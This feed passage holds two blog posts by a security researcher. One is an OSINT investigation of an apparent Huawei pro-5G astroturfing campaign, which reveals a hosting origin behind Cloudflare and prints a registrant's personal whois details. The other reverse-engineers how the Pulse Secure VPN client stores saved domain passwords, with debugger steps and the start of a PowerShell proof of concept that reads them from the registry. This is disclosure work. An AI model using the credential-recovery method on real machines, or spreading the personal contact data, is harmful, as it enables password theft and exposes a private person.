&lt;h4 id=&quot;making-the-first-connection&quot;&gt;Making the first connection&lt;/h4&gt;

&lt;p&gt;The starting point is the emitter of promoted tweets “Mike BAI”. So I downloaded all tweets from their timeline using &lt;a href=&quot;https://github.com/twintproject/twint&quot;&gt;twint&lt;/a&gt;:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;twint -u Mike_IMC -tl --year 2020 -o mike_imc_all.json --json
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I then filtered on tweets that mention Belgium and resolved the shortened URLs to get a set of websites that are shared by that persona.&lt;/p&gt;

&lt;p&gt;One site caught my attention: dwire.eu. Two articles were repeatedly shared by actors behind this campaign:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;“The Corruption: Unpacking Belgium’s BlackBox Operation”&lt;/strong&gt; - https[://]dwire[.]eu/index.php/2020/12/14/the-corruption-unpacking-the-black-box/&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;“The 5G decision in the BlackBox”&lt;/strong&gt; - https[://]dwire[.]eu/index.php/2020/12/11/the-decision-over-5g-is-going-into-black-box-operation/&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The dwire website starts appearing aroung November 2020, most content is about Huawei (archive link: https://web.archive.org/web/20201101031207/https://dwire.eu/).&lt;/p&gt;

&lt;p&gt;The site is a simple Wordpress install and the system’s administrators were so kind to leave directory indexing enabled, so we can look at uploaded files.&lt;/p&gt;

&lt;p class=&quot;foo&quot;&gt;&lt;img src=&quot;https://quentinkaiser.be/assets/dwire_directory_listing.png&quot; alt=&quot;is everything a Huawei front ?&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We have an &lt;a href=&quot;https://web.archive.org/web/20201229104152/https://dwire.eu/wp-content/uploads/2020/09/log_file_2020-09-10__02-53-07.txt&quot;&gt;import logs file&lt;/a&gt; and corresponding &lt;a href=&quot;https://web.archive.org/web/20201229104319/https://dwire.eu/wp-content/uploads/2020/09/huaweiadvisor.WordPress.2020-09-10-2.xml_.txt&quot;&gt;import file&lt;/a&gt; that shows content has initially been imported from another website: &lt;strong&gt;huaweiadvisor.com&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;This is where we get a first fault. All domains so far are protected by Cloudflare and the whois data is hidden, but not this time:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;whois huaweiadvisor.com
--snip-- 
 Registrant Name: John A
 Registrant Organization: FOA
 Registrant Street: 3296  Godfrey Street
 Registrant City: Portland
 Registrant State/Province: Oregon
 Registrant Postal Code: 97002
 Registrant Country: US
 Registrant Phone: +1.5032084626
 Registrant Phone Ext:
 Registrant Fax:
 Registrant Fax Ext:
 Registrant Email: alkavinraj@gmail.com
 Registry Admin ID: Not Available From Registry
 &amp;gt;&amp;gt;&amp;gt; Last update of WHOIS database: 2020-12-29T09:41:09Z &amp;lt;&amp;lt;&amp;lt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Looking up that email, I found the guy’s &lt;a href=&quot;https://www.youtube.com/channel/UC852LHshaweTme0P7jgDgNw&quot;&gt;Youtube channel&lt;/a&gt;. All content is about Huawei.&lt;/p&gt;

&lt;p&gt;And this hostname does not resolve to a Cloudflare IP, but a hosting provider in India (Servercake Webhosting India Pvt Ltd):&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;dig +short huaweiadvisor.com 
103.125.80.10
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;At this point, I made the hypothesis that if the content of huaweiadvisor.com was imported into dwire.eu, both sites might be hosted on the same server. To verify that, I edited my hosts file so that traffic for dwire.eu would go directly to the huaweiadvisor.com site without going through Cloudflare.&lt;/p&gt;

&lt;p&gt;Editing /etc/hosts with the following line:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;103.125.80.10   dwire.eu
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And it worked ! Certificate is valid and everyting:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;openssl s_client -connect dwire.eu:443
CONNECTED(00000003)
depth=2 O = Digital Signature Trust Co., CN = DST Root CA X3
verify return:1
depth=1 C = US, O = Let's Encrypt, CN = Let's Encrypt Authority X3
verify return:1
depth=0 CN = dwire.eu
verify return:1
---
Certificate chain
 0 s:CN = dwire.eu
   i:C = US, O = Let's Encrypt, CN = Let's Encrypt Authority X3
 1 s:C = US, O = Let's Encrypt, CN = Let's Encrypt Authority X3
   i:O = Digital Signature Trust Co., CN = DST Root CA X3
---
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The diagram below should help you understand what happens:&lt;/p&gt;

&lt;p class=&quot;foo&quot;&gt;&lt;img src=&quot;https://quentinkaiser.be/assets/cloudflare_bypass.png&quot; alt=&quot;cloudflare bypass&quot; /&gt;&lt;/p&gt;

&lt;p&gt;dwire.eu and huaweiadvisor.com are hosted on the same server but dwire.eu domain resolves to Cloudflare IP space so that its true origin can be hidden. However, given that we know the origin IP and that the server does not protect itself against Cloudflare bypass (e.g. by only trusting traffic coming from Cloudflare network), we can request the site by going over the dotted line to confirm our assumption that both sites resides on the same server.&lt;/p&gt;

&lt;p&gt;Given that official Huawei accounts on Twitter are sharing content from huaweiadvisor.com, that content from dwire.eu was directly imported from huaweiadvisor.com, and that both sites are hosted on the same server,  we can say with high confidence that this site is under the control of Huawei PR department and keep it for further investigation.&lt;/p&gt;

&lt;p class=&quot;foo&quot;&gt;&lt;img src=&quot;https://quentinkaiser.be/assets/huaweiadvisor_twitter.png&quot; alt=&quot;Huawei Europe shares huaweiadvisor.com content&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Continuing on pulling the thread, I obtained the list of acounts that tweeted links to dwire.eu:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;twint -s &quot;dwire.eu&quot; -o dwire.json --json
cat dwire.json | jq -r '.username' | sort -u &amp;gt; dwire_propagators.txt
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I then downloaded all tweets from these accounts since mid-october and looked up other links they shared.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;for username in `cat dwire_propagators.txt`; do echo ${username}; twint -u ${username} -tl --since 2020-10-15 -o &quot;${username}_all.json&quot; --json; done
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Resolve all URLs related to belgium:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;for turl in `cat *all.json | jq -r '.tweet' | grep -i belg | grep -oP 'https://t.co/[A-z0-9]{10}' | sort -u`; do curl -s -I ${turl} | grep -i location | awk '{ print $2 }'; done | sort -u
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The analysis of acquired URL is done in the next section.&lt;/p&gt;

&lt;h4 id=&quot;influencer-blogs&quot;&gt;“Influencer” blogs&lt;/h4&gt;

&lt;p&gt;These personal blogs from Johannes Drooghaag and Bill Mew &lt;a href=&quot;https://twitter.com/search?q=Why%20Openness%20and%20Transparency%20Pay%20when%20Buying%20Security&amp;amp;src=typed_query&amp;amp;f=live&quot;&gt;were&lt;/a&gt; &lt;a href=&quot;https://twitter.com/search?q=Belgium%20and%205G%20%E2%80%93%20a%20complicated%20relationship&amp;amp;src=typed_query&amp;amp;f=live&quot;&gt;largely&lt;/a&gt; &lt;a href=&quot;https://twitter.com/search?q=Belgi%C3%AB%20en%205G%20%E2%80%93%20een%20ingewikkelde%20relatie&amp;amp;src=typed_query&amp;amp;f=live&quot;&gt;amplified&lt;/a&gt; by Huawei on Twitter:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;https://johannesdrooghaag.com/belgie-en-5g-een-ingewikkelde-relatie/&lt;/li&gt;
  &lt;li&gt;https://johannesdrooghaag.com/belgium-and-5g-a-complicated-relationship/&lt;/li&gt;
  &lt;li&gt;https://billmew.substack.com/p/why-openness-and-transparency-pay&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&quot;misinformation-websites&quot;&gt;Misinformation Websites&lt;/h4&gt;

&lt;p&gt;Note: the links below will get you to Twitter search with the right keywords to see how these specific articles are amplified.&lt;/p&gt;

&lt;p&gt;We first got our two articles from dwire.eu:&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://twitter.com/search?q=The%205G%20decision%20in%20the%20BlackBox&amp;amp;src=typed_query&amp;amp;f=live&quot;&gt;&lt;strong&gt;“The 5G decision in the BlackBox”&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;https://dwire.eu/index.php/2020/12/11/the-decision-over-5g-is-going-into-black-box-operation/&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href=&quot;https://twitter.com/search?q=The%20Corruption%3A%20Unpacking%20Belgium%E2%80%99s%20BlackBox%20Operation&amp;amp;src=typed_query&amp;amp;f=live&quot;&gt;&lt;strong&gt;“The Corruption: Unpacking Belgium’s BlackBox Operation”&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;https://dwire.eu/index.php/2020/12/14/the-corruption-unpacking-the-black-box/&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;We then have the same articles repeated over different “news” sites:&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://twitter.com/search?q=Belgian%20government%20is%20less%20than%20transparent%20on%205G%20law&amp;amp;src=typed_query&amp;amp;f=live&quot;&gt;&lt;strong&gt;“Belgian government is less than transparent on 5G law”&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;https://www.eureporter.co/politics/2020/12/14/belgian-government-is-less-than-transparent-on-5g-law/&lt;/li&gt;
  &lt;li&gt;https://www.london-globe.com/european-union/2020/12/14/belgian-government-is-less-than-transparent-on-5g-law/&lt;/li&gt;
  &lt;li&gt;https://www.newyorkglobe.co/2020/12/14/belgian-government-is-less-than-transparent-on-5g-law/&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href=&quot;https://twitter.com/search?q=5G%3A%20If%20the%20Belgian%20government%20who%20will%20pay%20for%20it&amp;amp;src=typed_query&amp;amp;f=live&quot;&gt;&lt;strong&gt;5G: If the Belgian government exclude specific suppliers, who will pay for it?&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;https://www.eureporter.co/world/belgium-world/2020/12/15/5g-if-the-belgian-government-exclude-specific-suppliers-who-will-pay-for-it/&lt;/li&gt;
  &lt;li&gt;https://www.toplinenews.eu/2020/12/16/5g-if-the-belgian-government-exclude-specific-suppliers-who-will-pay-for-it/&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href=&quot;https://twitter.com/search?                                                                                                  q=Mobile%20operators%20question%20Belgian%20Government%E2%80%99s%20motive%20for%20new%205G%20law&amp;amp;src=typed_query&amp;amp;f=live&quot;&gt;&lt;strong&gt;Mobile operators question Belgian Government’s motive for new 5G law”&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;https://www.eureporter.co/world/belgium-world/2020/12/16/mobile-operators-question-belgian-governments-motive-for-new-5g- law/&lt;/li&gt;
  &lt;li&gt;https://www.london-globe.com/european-union/2020/12/17/mobile-operators-question-belgian-governments-motive-for-new-5g-law/&lt;/li&gt;
  &lt;li&gt;https://www.newyorkglobe.co/2020/12/17/mobile-operators-question-belgian-governments-motive-for-new-5g-law/&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href=&quot;https://twitter.com/search?q=Expert%20panel%20debates%20the%20proposed%20new%20Belgian%205G%20law&amp;amp;src=typed_query&amp;amp;f=live&quot;&gt;&lt;strong&gt;Expert panel debates the proposed new Belgian 5G law&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;https://www.eureporter.co/world/belgium-world/2020/12/18/expert-panel-debate-the-proposed-new-belgian-5g-law/&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;All these sites are running Wordpress with some kind of “news site” template. Below are two screenshots of obvious fake:&lt;/p&gt;

&lt;p&gt;New-York Globe&lt;/p&gt;

&lt;p class=&quot;foo&quot;&gt;&lt;img src=&quot;https://quentinkaiser.be/assets/nyglobe.co.png&quot; alt=&quot;is everything a Huawei front ?&quot; /&gt;&lt;/p&gt;

&lt;p&gt;London Globe&lt;/p&gt;

&lt;p class=&quot;foo&quot;&gt;&lt;img src=&quot;https://quentinkaiser.be/assets/londonglobe.co.png&quot; alt=&quot;is everything a Huawei front ?&quot; /&gt;&lt;/p&gt;

&lt;p&gt;BMGlobalNew&lt;/p&gt;

&lt;p class=&quot;foo&quot;&gt;&lt;img src=&quot;https://quentinkaiser.be/assets/bmbglobalnews.com.png&quot; alt=&quot;is everything a Huawei front ?&quot; /&gt;&lt;/p&gt;

&lt;h4 id=&quot;belgian-telecom-watchdog&quot;&gt;Belgian Telecom Watchdog&lt;/h4&gt;

&lt;p&gt;This is the IBPT/BIPT website:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;https://www.bipt.be/operators/publication/consultation-on-the-bill-and-draft-royal-decree-introducing-additional-security-measures-for-the-provision-of-mobile-5g-services&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&quot;unknown-sites&quot;&gt;Unknown Sites&lt;/h4&gt;

&lt;p&gt;I still don’t know how to classify these sites:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;https://www.euractiv.com/section/5g/news/orange-and-proximus-in-belgium-to-replace-huawei-mobile-gear-with-nokia-kit/&lt;/li&gt;
  &lt;li&gt;https://www.techzine.be/blogs/infrastructure/58182/huawei-5g-belgie/&lt;/li&gt;
  &lt;li&gt;https://www.brusselstimes.com/all-news/belgium-all-news/121568/belgium-will-not-join-uk-in-banning-huawei-from-its-telecom-networks/&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&quot;legitimate-belgian-media&quot;&gt;Legitimate Belgian Media&lt;/h4&gt;

&lt;p&gt;These sites are linked with quotes taken out of context:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;https://www.tijd.be/politiek-economie/belgie/federaal/belgie-sluit-deur-niet-voor-huawei/10239037.html&lt;/li&gt;
  &lt;li&gt;https://www.lavenir.net/cnt/dmf20200703_01488447/orange-pas-favorable-a-une-restriction-sur-les-equipementiers-pour-la-5g&lt;/li&gt;
&lt;/ul&gt;

&lt;p class=&quot;foo&quot;&gt;&lt;img src=&quot;https://quentinkaiser.be/assets/morty_is_everything_a_camera.jpeg&quot; alt=&quot;is everything a Huawei front ?&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Is everything a Huawei front ?&lt;/em&gt;&lt;/p&gt;

&lt;h3 id=&quot;bot-amateur-hour&quot;&gt;Bot Amateur Hour&lt;/h3&gt;

&lt;p&gt;When your Python script fails and you end up tweeting 5G misinformation for a client from a fake camgirl account, without the link:&lt;/p&gt;

&lt;p class=&quot;foo&quot;&gt;&lt;img src=&quot;https://quentinkaiser.be/assets/huawei_amateur_hour.png&quot; alt=&quot;Huawei amateur hour&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h3&gt;

&lt;p&gt;By fear of losing the Belgian market of 5G mobile network, Huawei launched an online misinformation campaign targeting people close to Brussels that work in IT, telco, security, or policy making. The campaign rely on a small network of “independent media” websites - some of them set up entirely for this specific campaign -  publishing articles in favor of Huawei. These articles were then shared on Twitter by fake personas and Huawei officials to gain traction, which they failed
to (we’re talking less than 200 tweets/retweets in total).&lt;/p&gt;

&lt;p&gt;The argumentation put forth in the different articles seems to be addressed to belgian citizens and covers three areas: transparency, finance, and technological delay. On the subject of transparency, they want people to ask the belgian government for more transparency regarding the “high risk vendors” list selection process. On finance, they claim the current way things are done are slowing everything down, which will lead to increased costs that will be relfected on our wallets. The delay argument is also turned into “if the belgian government keep doing this, you’ll lose the technological race to 5G deployment”.&lt;/p&gt;

&lt;p&gt;It weirds me out because there is zero chance this argumentation will work here. Were they planning on triggering grassroots movements pushing for the removal of Huawei from the “high risk vendor” list because they’re cheaper ?&lt;/p&gt;

&lt;p&gt;Another hypothesis, which fits with the fact that they mostly used promoted tweets, is that they are executing a highly targeted campaigns focused on individuals with lobbying or decision making powers.&lt;/p&gt;

&lt;p&gt;Or maybe they just want to slow everything down ? Or maybe they just suck at astro-turfing ? I don’t know.&lt;/p&gt;
</description>
        <pubDate>Tue, 29 Dec 2020 10:00:00 +0000</pubDate>
        <link>https://quentinkaiser.be/osint/2020/12/29/huawei-astroturfing/</link>
        <guid isPermaLink="true">https://quentinkaiser.be/osint/2020/12/29/huawei-astroturfing/</guid>
      </item>
    
      <item>
        <title>Reversing Pulse Secure Client Credentials Store</title>
        <description>&lt;p class=&quot;foo&quot;&gt;&lt;img src=&quot;https://quentinkaiser.be/assets/pulse_secure_logo.jpg&quot; alt=&quot;Reversing&quot; width=&quot;100%&quot; /&gt;&lt;/p&gt;

&lt;p&gt;In early 2019, I had to assess the latest version (at the time) of Pulse Secure Connect Client, an IPSEC/SSL VPN client developed by Juniper.&lt;/p&gt;

&lt;p&gt;Given that the client allow end users to save their credentials, one of my tests included verifying how an attacker could recover them. The attacker perspective was simple: access to an employee’s laptop (either physical access or remote access with low privileges). Note that the ability to recover credentials can have serious effects given that they are &lt;em&gt;almost always&lt;/em&gt; domain credentials.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: this blog post was cross-posted to Gremwell’s &lt;a href=&quot;https://www.gremwell.com/blog/reversing_pulse_secure_client_credentials_store&quot;&gt;blog&lt;/a&gt;.&lt;/p&gt;

&lt;h3 id=&quot;credential-store-architecture&quot;&gt;Credential Store Architecture&lt;/h3&gt;

&lt;p&gt;When a user selects the “Save Settings” option during authentication, their password is stored encrypted into the registry:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Windows Registry Editor Version 5.00

[HKEY_USERS\S-1-5-21-1757981266-1645522239-839522115-176938\Software\Pulse Secure\Pulse\User Data\ive:41ce2e38-289d-9b43-bbb1-d28a1dd6ec88]
&quot;Password1&quot;=hex:01,00,00,00,d0,8c,9d,df,01,15,d1,11,8c,7a,00,c0,4f,c2,97,eb,01,\
  00,00,00,34,22,f4,65,43,ed,5e,4a,80,01,a0,52,dc,f7,47,c0,00,00,00,00,02,00,\
  00,00,00,00,03,66,00,00,c0,00,00,00,10,00,00,00,39,04,e6,5e,41,9d,99,8b,ee,\
  fb,9a,7a,85,53,2b,7f,00,00,00,00,04,80,00,00,a0,00,00,00,10,00,00,00,bb,26,\
  da,ed,2f,7e,18,f6,4b,28,be,03,82,c5,9e,65,48,00,00,00,f0,78,73,26,e7,4b,9a,\
  4d,2a,b1,7f,a6,4e,4b,35,25,4a,c4,9e,04,c0,f8,eb,f7,04,50,d3,d8,78,b0,18,d9,\
  17,69,fb,5a,69,d6,c2,a1,35,d4,f6,66,25,15,f7,61,ee,a0,7e,8b,f5,5a,a7,a4,1a,\
  b4,2d,34,03,7d,06,d6,8a,4b,9e,18,d7,15,65,a2,14,00,00,00,6c,f7,84,15,7f,a4,\
  a8,e6,9a,5d,34,79,a7,16,97,0a,a6,10,17,07
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The only reference to this format I could find is a request on ‘John the Ripper’ &lt;a href=&quot;https://www.openwall.com/lists/john-users/2014/06/27/1&quot;&gt;mailing-list&lt;/a&gt; asking if anyone looked into this before:&lt;/p&gt;

&lt;p class=&quot;foo&quot;&gt;&lt;img src=&quot;https://quentinkaiser.be/assets/pulse_secure_jtr_post.png&quot; alt=&quot;pulse_secure_jtr_post&quot; /&gt;&lt;/p&gt;

&lt;p&gt;No one ever answered that email since 2014, so it’s time to dig into the code !&lt;/p&gt;

&lt;h3 id=&quot;static-analysis&quot;&gt;Static Analysis&lt;/h3&gt;

&lt;p&gt;I used &lt;a href=&quot;https://docs.microsoft.com/en-us/sysinternals/downloads/procmon&quot;&gt;procmon&lt;/a&gt; to get stack traces prior to calls to &lt;em&gt;RegSetValueEXW&lt;/em&gt; and discovered that &lt;em&gt;CryptProtectData&lt;/em&gt; is called just before saving data in the registry.&lt;/p&gt;

&lt;p&gt;I then disassembled the main binary (&lt;em&gt;./JamUI/Pulse.exe&lt;/em&gt;) with &lt;a href=&quot;https://rada.re/r/&quot;&gt;Radare2&lt;/a&gt; and discovered that the client indeed rely on &lt;strong&gt;Windows Data Protection API&lt;/strong&gt; (DPAPI) to encrypt credentials.&lt;/p&gt;

&lt;p class=&quot;foo&quot;&gt;&lt;img src=&quot;https://quentinkaiser.be/assets/pulse_secure_reversing.gif&quot; alt=&quot;Reversing&quot; width=&quot;100%&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I checked &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/desktop/api/dpapi/nf-dpapi-cryptprotectdata&quot;&gt;MSDN&lt;/a&gt; and noted that the first parameter to the function is a DATA_BLOB which holds the plaintext, the second is data description while the third is another DATA_BLOB holding an optional entropy parameter:&lt;/p&gt;

&lt;pre&gt;
DPAPI_IMP BOOL CryptProtectData(
&lt;span style=&quot;border: 1px solid yellow&quot;&gt;  DATA_BLOB                 *pDataIn,&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;
  LPCWSTR                   szDataDescr,
&lt;span style=&quot;border: 1px solid cyan&quot;&gt;   DATA_BLOB                 *pOptionalEntropy,&amp;nbsp;&lt;/span&gt;
  PVOID                     pvReserved,
  CRYPTPROTECT_PROMPTSTRUCT *pPromptStruct,
  DWORD                     dwFlags,
  DATA_BLOB                 *pDataOut
  );
&lt;/pre&gt;

&lt;!-- TODO: highlight addresses from object definition and in dumping output --&gt;

&lt;h3 id=&quot;dynamic-analysis&quot;&gt;Dynamic Analysis&lt;/h3&gt;

&lt;p&gt;Now that I knew what to look for, I just had to attach to the running process with Windbg and set breakpoints on &lt;em&gt;CryptProtectData&lt;/em&gt; and &lt;em&gt;CryptUnprotectData&lt;/em&gt;:&lt;/p&gt;

&lt;pre&gt;
&lt;b&gt;0:000:x86&amp;gt;&lt;/b&gt; bp Crypt32!CryptUnprotectData
&lt;b&gt;0:000:x86&amp;gt;&lt;/b&gt; bu Crypt32!CryptProtectData
&lt;b&gt;0:000:x86&amp;gt;&lt;/b&gt; g
&lt;/pre&gt;

&lt;p&gt;I set the connection details, entered my credentials, checked the ‘Save credentials’ option and clicked ‘Connect’.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Breakpoint 1 hit
*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files (x86)\Common Files\Pulse Secure\JamUI\Pulse.exe
CRYPT32!CryptProtectData:
76b37063 68b0000000      push    0B0h
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Looks like I was right, we just hit &lt;em&gt;CryptProtectData&lt;/em&gt; ! If we dump the function parameters, we see &lt;em&gt;pDataIn&lt;/em&gt; address in yellow and &lt;em&gt;pOptionalEntropy&lt;/em&gt; address in cyan.&lt;/p&gt;

&lt;pre&gt;
&lt;b&gt;0:000:x86&amp;gt;&lt;/b&gt; dd poi(esp+4)
0029ee84  00000022 &lt;span style=&quot;background-color:yellow&quot;&gt;028aef40&lt;/span&gt; ffffffff &lt;span style=&quot;background-color:cyan&quot;&gt;028a2b88&lt;/span&gt;
0029ee94  00ea471e 028c08d4 00000000 00000024
0029eea4  00000027 028c0778 02882a58 02897c98
0029eeb4  00000001 0029ef8c 0000004a 0000004f
0029eec4  d08665dd 0029f118 00f8ca38 00000002
0029eed4  00ea5c46 028a2c90 00000001 00000000
0029eee4  028c09b4 d086656d 0029f3d0 02897c98
0029eef4  74a18a94 00000000 02897c98 00000000
&lt;/pre&gt;

&lt;p&gt;As expected, the first address points to my super secret password while the second points to the optional entropy value:&lt;/p&gt;

&lt;pre&gt;
&lt;b&gt;0:000:x86&amp;gt;&lt;/b&gt; du &lt;span style=&quot;background-color:yellow&quot;&gt;028aef40&lt;/span&gt;
028aef40  &quot;REDACTED&quot;
&lt;b&gt;0:000:x86&amp;gt;&lt;/b&gt; du &lt;span style=&quot;background-color:cyan&quot;&gt;028a2b88&lt;/span&gt;
028a2b88  &quot;IVE:41CE2E38289D9B43BBB1D28A1DD6&quot;
028a2bc8  &quot;EC88&quot;
&lt;/pre&gt;

&lt;p&gt;If &lt;em&gt;pOptionalEntropy&lt;/em&gt; value looks familiar, it’s normal. It is actually equal to the registry path’s last part, in uppercase and without dash characters.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Registry path&lt;/strong&gt;: HKEY_USERS\S-1-5-21-1757981266-1645522239-839522115-176938\Software\Pulse Secure\Pulse\User Data\ive:41ce2e38-289d-9b43-bbb1-d28a1dd6ec88&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;pOptionalEntropy value&lt;/strong&gt;: IVE:41CE2E38289D9B43BBB1D28A1DD6EC88&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The registry path is readable by the user so an attacker could simply get the encrypted data out the registry, provide the converted registry path’s part as entropy value and obtain the domain password in plaintext.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;I wouldn’t have done it without &lt;a href=&quot;https://twitter.com/seanderegge&quot;&gt;@seanderegge&lt;/a&gt; WinDbg-fu, so thanks Sean :)&lt;/em&gt;&lt;/p&gt;

&lt;h3 id=&quot;pocgtfo&quot;&gt;PoC||GTFO&lt;/h3&gt;

&lt;p&gt;I wrote this piece of Powershell so Pulse Secure could easily reproduce it:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-powershell&quot; data-lang=&quot;powershell&quot;&gt;&lt;span class=&quot;n&quot;&gt;Add-Type&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-AssemblyName&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;System.Security&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;

&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$ives&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Get-ItemProperty&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-Path&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'Registry::HKEY_USERS\*\Software\Pulse Secure\Pulse\User Data\*'&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;foreach&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$ive&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$ives&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
